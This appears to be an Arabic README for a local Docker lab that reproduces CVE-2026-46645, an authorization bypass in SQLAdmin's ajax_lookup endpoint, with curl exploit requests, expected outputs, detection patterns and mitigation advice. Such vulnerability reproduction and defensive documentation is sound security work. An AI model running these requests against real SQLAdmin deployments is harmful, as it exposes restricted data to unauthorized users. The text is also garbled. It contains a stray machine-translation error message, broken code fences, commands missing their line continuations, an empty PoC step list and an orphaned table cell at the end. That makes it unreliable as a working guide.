
يحتوي هذا المستودع على مختبر Docker محلي لإعادة إنتاج CVE-2026-46645، وهي ثغرة تجاوز تفويض تؤثر على نقطة نهاية ajax_lookup في SQLAdmin.
SQLAdmin هي واجهة إدارة لنماذج SQLAlchemy في تطبيقات Starlette وFastAPI. يحدث السلوك المعرّض للخطر عندما يقيّد تطبيق كائن ModelView باستخدام is_accessible(request)، لكن مسار ajax_lookup في SQLAdmin لا يفرض نفس قرار التحكم في الوصول قبل إرجاع نتائج البحث.
يقارن هذا المختبر بين نسختين من SQLAdmin:
| الخدمة | إصدار SQLAdmin | الغرض | URL |
|---|---|---|---|
vuln | 0.25.0 | هدف معرّض للخطر | http://127.0.0.1:8001 |
patched | 0.25.1 | هدف مقارنة بعد التصحيح | http://127.0.0.1:8002 |
سلسلة الثغرات الموضحة هي:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403
المختبر يستخدم عمدًا نموذج بيانات بسيطًا باسم `Report` / `SecretProject` لجعل تجاوز التصريح سهل الفهم. أسماء النماذج هذه ليست السبب الجذري للثغرة. إنها تُستخدم فقط لإنشاء حالة استنساخ خاضعة للتحكم.
هذا المختبر مصمم للبحث المحلي الخاضع للتحكم، وفهم مستوى الكود المصدري، والتوضيح في ملف الأعمال فقط.
## حقائق مُتحقَّق منها
| الادعاء | الدليل | كيفية التحقق في هذا المختبر |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| نقطة نهاية `ajax_lookup` في SQLAdmin هي المكوّن المتأثر. | يصف الإشعار العام تنسيق نقطة النهاية المتأثرة بالشكل `GET /{identity}/ajax/lookup?name=<field>&term=<query>`. | شغّل الـ PoC ولاحظ الطلبات إلى `/admin/report/ajax/lookup?name=project&term=Secret`. |
| يُستخدم SQLAdmin `0.25.0` كهدف مقارنة قابل للثغرة. | يثبّت المختبر `sqladmin==0.25.0` في حاوية `vuln`. | شغّل `docker compose exec -T vuln python -m pip show sqladmin`. |
| يُستخدم SQLAdmin `0.25.1` كهدف مقارنة مُصحَّح. | يحدد الإشعار العام وملاحظات الإصدار `0.25.1` كنسخة مُصحَّحة. | شغّل `docker compose exec -T patched python -m pip show sqladmin`. |
| السبب الجذري في مسار `Admin.ajax_lookup()` العلوي من SQLAdmin. | يضيف التصحيح التحقق من المصادقة المفقود وتطبيق `is_accessible(request)` إلى `ajax_lookup()`. | افحص `Admin.ajax_lookup()` داخل الحاويتين باستخدام الأوامر في هذا README. |
| ينشئ المختبر `ModelView` مُقيَّدًا. | يُرجع `ReportAdmin.is_accessible(request)` القيمة `False` عمدًا. | افحص `app/main.py`. |
| يستخدم الـ PoC جلسة مُصادَقًا عليها. | يسجّل الـ PoC الدخول أولاً إلى `/admin/login`، ويحتفظ بملف تعريف الجلسة، ثم يطلب `ajax_lookup`. | شغّل `python3 poc/poc.py --base-url http://127.0.0.1:8001`. |
| الإشارة القابلة للثغرة هي كشف البيانات. | يُرجع SQLAdmin `0.25.0` HTTP 200 ونتائج بحث JSON من عرض مُقيَّد. | يجب أن يُرجع الهدف القابل للثغرة `Secret Project Alpha` و`Secret Project Beta`. |
| الإشارة المُصحَّحة هي رفض الوصول. | يُرجع SQLAdmin `0.25.1` HTTP 403 لنفس الطلب المُصادَق عليه. | يجب أن يُرجع الهدف المُصحَّح `403 Forbidden`. |
## الافتراضات والمجهولات
يستخدم المختبر `sqladmin==0.25.0` كخط أساس قابل للثغرة و`sqladmin==0.25.1` كخط أساس مُصحَّح.
يركّز المختبر على حالة تجاوز التفويض حيث:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
المختبر لا يحاول إعادة إنتاج كل نمط نشر ممكن لـ SQLAdmin. إنه ينشئ عمدًا تطبيق Starlette صغيرًا مع عرض إداري واحد مقيد بحيث يسهل التحقق من الفرق في السلوك بين الإصدارات الضعيفة والمصححة.
نموذجا Report وSecretProject كائنان خاصان بالمختبر فقط. إنهما ليسا جزءًا من SQLAdmin نفسه.
إن إثبات المفهوم (PoC) لا يحاول تصعيد الامتيازات، أو تعديل البيانات، أو سرقة الجلسات، أو إجراء استدعاءات خارجية، أو الثبات، أو شن هجمات ضد أنظمة غير تابعة للمختبر.
السبب الجذري يكمن في مسار Admin.ajax_lookup() العلوي في SQLAdmin، وليس في كود تطبيق هذا المختبر.
يتيح SQLAdmin للمطورين تقييد الوصول إلى طرق العرض الإدارية عن طريق تجاوز:```python ModelView.is_accessible(request)
من المتوقع أن تفرض مسارات الإدارة الأخرى قرار التحكم في الوصول هذا قبل السماح للطلب بالمتابعة. على سبيل المثال، تتحقق مسارات مثل list وcreate وdetails وdelete وedit وexport مما إذا كان الطلب الحالي مسموحًا له بالوصول إلى `ModelView` الهدف.
لم يفرض مسار `ajax_lookup` المعرّض للخطر نفس قرار التحكم في الوصول.
تُستخدم نقطة نهاية `ajax_lookup` بواسطة ميزة `form_ajax_refs` في SQLAdmin لتحميل قيم العلاقات ديناميكيًا. تنسيق نقطة النهاية الخاصة بها هو:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
في الإصدار الضعيف، تقوم ajax_lookup() بحلّ ModelView المستهدف، وتقرأ اسم حقل البحث ومصطلح البحث من سلسلة الاستعلام، ثم تستدعي محمّل AJAX وتُرجع نتائج JSON. الخطوة الأمنية المفقودة هي أنها لا تتحقق أولاً مما إذا كان الطلب الحالي مسموحًا له بالوصول إلى ModelView ذلك.
الأثر الأمني هو أن المستخدم المصادق قد يُمنع من الوصول إلى عرض إداري مقيد عبر مسارات واجهة المستخدم العادية، لكنه لا يزال يستطيع طلب نقطة نهاية AJAX الخاصة بالبحث لهذا العرض مباشرةً وتلقي بيانات البحث عن العلاقات.
يعالج SQLAdmin 0.25.1 ذلك من خلال فرض التحكم في الوصول داخل ajax_lookup(). يتحقق المسار المُصحح من model_view.is_accessible(request) ويُرجع HTTP 403 عندما لا يكون العرض المستهدف قابلاً للوصول.
يُعرّف هذا المختبر ReportAdmin.is_accessible(request) لكي يُرجع False فقط لإعادة إنتاج الحالة الضعيفة. كود المختبر ليس السبب الجذري. إنه بيئة اختبار مُتحكم بها تُثبت ما إذا كان مسار ajax_lookup() العلوي في SQLAdmin يحترم قرار التحكم في الوصول.
الفرق المتوقع في السلوك:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden
## ملخص التصحيح المصدر
التصحيح الجوهري من المنبع هو إضافة فرض المصادقة والتفويض إلى `Admin.ajax_lookup()`.
السلوك المُصحَّح يعادل:```python
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
فحص التفويض الرئيسي هو:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
يوضح المختبر أن هذا الفحص غير موجود في النسخة الضعيفة وموجود في النسخة المُصحَّحة.
## بنية المختبر
يشغّل المختبر تطبيقَيْ Starlette معزولَيْن عبر Docker Compose.```text
.
├── app/
│ ├── __init__.py
│ └── main.py
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
├── requirements/
│ ├── patched.txt
│ └── vuln.txt
└── vuln/
└── Dockerfile
الخدمتان تشغّلان نفس كود التطبيق لكنهما يثبّتان إصدارين مختلفين من SQLAdmin:
| الخدمة | إصدار الحزمة | تعيين المنفذ |
|---|---|---|
vuln | sqladmin==0.25.0 | 127.0.0.1:8001 -> 8000 |
patched | sqladmin==0.25.1 |
ينشئ التطبيق نموذجين من SQLAlchemy:```text SecretProject Report
`Report` له علاقة بـ `SecretProject`:```text
Report.project -> SecretProject
يعرّف ReportAdmin بحثًا عن علاقة عبر AJAX:```python
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
عرض المسؤول المقيّد هو:```python
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
يُنشئ هذا عمدًا الشرط اللازم لاختبار ما إذا كان مسار ajax_lookup() في SQLAdmin يفرض is_accessible().
الطرف المعرض للخطر المستخدم في إثبات المفهوم هو:```text /admin/report/ajax/lookup?name=project&term=Secret
بيانات اعتماد المختبر الافتراضية:```text
username: analyst
password: lab-password
requests لتشغيل PoC من المضيفcurl لإعادة إنتاج الطلب يدويًا عبر HTTPقم بتثبيت تبعية PoC على المضيف إذا لزم الأمر:```bash python3 -m pip install requests
## البداية السريعة
قم ببناء المختبر وتشغيله:```bash
docker compose down --remove-orphans
docker compose up --build -d
تحقق من حالة الحاوية:```bash docker compose ps
الخدمات المكشوفة المتوقعة:```text
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
تحقق من نقاط نهاية الصحة:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health
يجب أن يُرجع كلاهما:```json
{"status":"ok"}
افتح واجهة المستخدم الإدارية في المتصفح إذا رغبت في ذلك:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin
بيانات تسجيل الدخول:```text
analyst / lab-password
قم بتشغيل الـ PoC ضد الخدمة الضعيفة:```bash
python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"
قم بتشغيل نفس PoC ضد الخدمة المُرقَّعة:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
ينفّذ الـPoC الخطوات التالية:```text
يعرض الـ PoC عمدًا تدفق الطلب والاستجابة بحيث يكون تجاوز التفويض مرئيًا للقارئ.
## إعادة الإنتاج اليدوي عبر HTTP باستخدام curl
يمكنك إعادة إنتاج الثغرة يدويًا دون استخدام `poc/poc.py`.
هذا مفيد عندما تريد إظهار تدفق HTTP الدقيق:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
قم بتعيين عنوان URL للهدف الضعيف:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
سجّل الدخول كمستخدم المختبر واحفظ كوكي الجلسة:```bash
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
أرسل طلب ajax_lookup المقيَّد:```bash
curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
النتيجة المتوقعة للثغرة:```http
HTTP/1.1 200 OK
content-type: application/json
النص المتوقع:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
هذا يؤكد السلوك الهش لأن الطلب مُصادق عليه، `ReportAdmin.is_accessible(request)` يُرجع `False`، لكن SQLAdmin `0.25.0` ما يزال يُرجع بيانات البحث.
### الهدف المُصحَّح
عيّن عنوان URL للهدف المُصحَّح:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
سجّل الدخول كمستخدم المختبر نفسه:```bash
curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"
أرسل نفس طلب `ajax_lookup` المقيد:```bash
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
النتيجة المتوقعة بعد التصحيح:```http HTTP/1.1 403 Forbidden
يؤكد هذا السلوك المُصحَّح لأن SQLAdmin `0.25.1` يفرض فحص `ModelView.is_accessible(request)` المفقود داخل `ajax_lookup()`.
### مقارنة في سطر واحد
الخدمة المعرضة للخطر:```bash
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
الخدمة المُصحّحة:```bash
curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
المقارنة المتوقعة:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'
Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=
Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}
Request: GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
Response: HTTP status : 200 Content-Type : application/json
Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.
الهدف المُرقَّع:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': '<redacted>'}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
يستخدم إثبات المفهوم مكتبة requests في بايثون وكائن requests.Session() دائم.
أولاً، يقوم بالمصادقة إلى SQLAdmin:```text POST /admin/login
مع بيانات اعتماد المختبر:```text
analyst / lab-password
بعد تسجيل الدخول، يحتفظ كائن الجلسة بملف تعريف الارتباط الخاص بالجلسة المُعاد.
ثم يرسل الـ PoC طلب البحث AJAX المقيّد:```text GET /admin/report/ajax/lookup?name=project&term=Secret
في التطبيق المخبري، يستهدف هذا الطلب `ReportAdmin`.
`ReportAdmin` غير قابل للوصول عمدًا:```python
def is_accessible(self, request):
return False
هذه هي حالة المختبر. إنها ليست الثغرة الأمنية الأصلية.
السؤال الأمني الذي يتم اختباره هو:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
في SQLAdmin `0.25.0`، تُرجع نقطة النهاية HTTP 200 ونتائج بحث JSON. وهذا يؤكد السلوك القابل للاستغلال.
في SQLAdmin `0.25.1`، تُرجع نقطة النهاية HTTP 403. وهذا يؤكد السلوك المُصحَّح.
## أوامر التحقق المفيدة
تحقق من الحاويات قيد التشغيل:```bash
docker compose ps
تحقق من سجلات الخدمة:```bash docker compose logs vuln patched
تحقق من إصدارات SQLAdmin المثبتة:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
الإصدارات المتوقعة:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1
شغّل PoC مرة أخرى:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
لا يوجد محتوى في الإدخال لهذه الشريحة (chunk 101). يرجى توفير النص المطلوب ترجمته.```bash
python3 poc/poc.py
--base-url http://127.0.0.1:8002
--label "sqladmin 0.25.1 patched"
احفظ مخرجات الأدلة:```bash
mkdir -p evidence
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable" \
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched" \
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
افحص المصدر الضعيف المثبت:```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application
print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY
افحص المصدر المُصحَّح المثبَّت:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
يجب ألا تفرض النسخة الضعيفة model_view.is_accessible(request) داخل ajax_lookup().
يجب أن تتضمن النسخة المصحّحة فحص ترخيص مكافئًا لما يلي:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
## الاكتشاف والمراقبة
في تطبيق حقيقي يستخدم SQLAdmin، قد يظهر النشاط المشبوه كطلبات مباشرة إلى نقاط نهاية بحث AJAX:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
بالنسبة لهذا المختبر، تتضمن مؤشرات السجلات المفيدة ما يلي:```text GET /admin/report/ajax/lookup?name=project&term=Secret
نمط السجل الضعيف المتوقع:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
نمط السجل المُصحح المتوقع:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
أفكار محتملة لمراقبة الإنتاج:
* مراجعة الوصول المباشر إلى نقاط النهاية `/ajax/lookup`،
* مقارنة وصول البحث مع سير عمل واجهة الإدارة المتوقعة،
* مراقبة مصطلحات البحث المتكررة من الحسابات منخفضة الصلاحيات،
* مراجعة ما إذا كانت فئات `ModelView` الحساسة تستخدم `form_ajax_refs`،
* التحقق مما إذا كانت طرق عرض النماذج المقيدة لا تزال مكشوفة عبر عمليات بحث العلاقات.
## ملاحظات التخفيف والتصحيح
قم بترقية SQLAdmin إلى `0.25.1` أو أحدث.
يضيف التصحيح فرض التحكم في الوصول المفقود إلى مسار `ajax_lookup`. يتحقق نقطة النهاية المصححة مما إذا كان الطلب الحالي مسموحًا له بالوصول إلى `ModelView` الهدف. إذا كان `is_accessible(request)` يُرجع `False`، يتم حظر الطلب مع HTTP 403.
توصيات تقوية على مستوى التطبيق:
* ترقية SQLAdmin إلى إصدار مصحح،
* مراجعة جميع تطبيقات `ModelView.is_accessible()` المخصصة،
* تجنب كشف عمليات بحث العلاقات الحساسة عبر `form_ajax_refs` إلا عند الحاجة،
* اختبار طرق عرض الإدارة المقيدة عبر كل من مسارات واجهة المستخدم العادية ومسارات بحث AJAX،
* مراقبة الوصول إلى نقاط النهاية `/admin/*/ajax/lookup`،
* التأكد من تكوين مصادقة الإدارة ومعالجة الجلسات بشكل صحيح.
## التنظيف
أوقف وأزل الحاويات والشبكات:```bash
docker compose down --remove-orphans
قم بإزالة الحاويات والشبكات ووحدات التخزين المجهولة:```bash docker compose down -v --remove-orphans
قم بإزالة الصور المبنية محليًا إذا رغبت في ذلك:```bash
docker image rm \
cve-2026-46645-sqladmin-vuln:0.25.0 \
cve-2026-46645-sqladmin-patched:0.25.1 \
2>/dev/null || true
إزالة ملفات الأدلة إذا رغبت في ذلك:```bash rm -rf evidence/
## حدود الأمان
هذا المختبر مخصص للبحث الأمني المحلي والعرض التوضيحي المُتحكم فيه فقط.
لا تقم بتشغيل PoC ضد أنظمة لا تملكها أو ليس لديك إذن لاختبارها.
لا تستخدم بيانات اعتماد حقيقية أو أسرار إنتاجية أو أهدافًا خارجية في هذا المختبر.
يقتصر PoC عمدًا على خدمات Docker المحلية مثل:```text
http://127.0.0.1:8001
http://127.0.0.1:8002
لا يتضمن إثبات المفهوم (PoC) حمولات لسرقة بيانات الاعتماد، أو تعديل البيانات، أو الثبات، أو الحركة الجانبية، أو عمليات الاستدعاء الخارجية.
الهدف هو إظهار حالة محددة من تجاوز التفويض في بيئة خاضعة للتحكم:```text authenticated user
## المراجع
- قاعدة بيانات الاستشارات الأمنية في GitHub: تجاوز تفويض SQLAdmin على ajax_lookup
https://github.com/advisories/GHSA-54mc-gghv-4cfj
- استشارة OSV الأمنية: GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
- إصدار SQLAdmin 0.25.1
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
- مقارنة SQLAdmin: 0.25.0 إلى 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
- SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
- SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
- اختبارات المصادقة في SQLAdmin
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
- اختبارات AJAX في SQLAdmin
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
- PyPI: sqladmin
https://pypi.org/project/sqladmin/
- مستودع SQLAdmin على GitHub
https://github.com/smithyhq/sqladmin
127.0.0.1:8002 -> 8000 |